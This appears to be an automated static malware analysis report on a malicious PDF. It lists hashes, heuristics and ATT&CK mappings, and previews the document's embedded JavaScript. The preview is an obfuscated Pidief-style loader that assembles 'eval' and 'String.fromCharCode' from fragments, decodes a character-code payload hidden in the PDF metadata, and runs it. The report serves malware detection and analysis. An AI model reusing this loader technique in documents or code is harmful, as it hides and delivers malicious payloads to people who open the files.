Malicious PDF — malware analysis report

Static analysis result for SHA-256 2d22d982871a0047…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2012-06-14
MD5: f28aea8da6309035602e84d84b0371f4 SHA-1: c0e9c3f924fd58e1bee9d852a683bde30a011160 SHA-256: 2d22d982871a0047403e7167fac3306c43f5e9f7e972184a12bb3b902b03a09a
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript, flagged by heuristics as malicious. The ML classifier strongly indicates malicious intent. The embedded JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload. The document body 'substr split test' provides no context for the malicious behavior.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFA5 415 bytes
SHA-256: e8ff99e0531c7be4b8c72ce4853a4bf5e65796eae51ee2e4f422cb8cf11ce6be
Preview script
First 1,000 lines of the extracted script
hux='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
cihgh=e('ti'+'tle');
s=cihgh.substr(t.length + 8,3)+'str';
q=cihgh[s](1,t.length + 7);
wyzr=e(v[0].toUpperCase()+'tring.fro'+q);
q=cihgh[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	ulwf = parseInt(q[i]) + parseInt(q[i+1]);
	hux += wyzr(ulwf);
}
e(hux);

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